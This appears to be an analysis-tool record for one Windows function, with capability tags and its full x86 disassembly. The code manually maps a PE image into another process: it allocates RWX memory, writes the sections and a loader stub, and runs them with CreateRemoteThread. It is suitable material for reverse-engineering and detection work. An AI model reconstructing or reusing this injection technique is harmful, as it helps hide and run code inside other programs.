Function at 0x486570
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x67bbb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
mov dword [ebp - 0x1c], esi
push edi
mov edi, ecx
test esi, esi
jne 0x48659f
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005eee94
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
push ebx
cmp word [esi], ax
jne 0x486782
mov eax, dword [esi + 0x3c]
mov ecx, 0x14c
add eax, esi
mov dword [ebp - 0x18], eax
cmp word [eax + 4], cx
jne 0x486782
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x4865fe
mov eax, dword [ebp - 0x18]
push 0x40
push 0x3000
push dword [eax + 0x50]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x486782
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
movzx ecx, word [eax + 0x14]
add ecx, 0x2c
cmp word [eax + 6], dx
je 0x486691
lea esi, [ecx + eax]
mov ecx, dword [esi - 4]
test ecx, ecx
je 0x48664d
mov eax, dword [esi]
add eax, dword [ebp - 0x1c]
push 0
push ecx
push eax
mov eax, dword [esi - 8]
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x486661
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
movzx eax, word [eax + 6]
inc edx
add esi, 0x28
mov dword [ebp - 0x14], edx
cmp edx, eax
je 0x48668e
mov eax, dword [ebp - 0x18]
jmp 0x486626
push dword [ebp - 0x1c]
call fcn.005ef75a
add esp, 4
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop ebx
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005eee94
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x1c]
movq xmm0, qword [ebp - 0x10]
push 0
push 0x1000
push esi
push ebx
movq qword [esi], xmm0
push edi
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
je 0x48666c
push 0
push 0x1000
push 0x4867a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x486728
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push eax
push ebx
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x14]
push edi
call esi
pop ebx
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005eee94
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
push 0
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0
push eax
push ebx
xorps xmm0, xmm0
push edi
movq qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 8]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x486730
push 0x8000
push 0
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005eee94
mov esp, ebp
pop ebp
ret
push esi
call fcn.005ef75a
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor al, al
pop ebx
pop edi
pop esi
call fcn.005eee94
mov esp, ebp
pop ebp
ret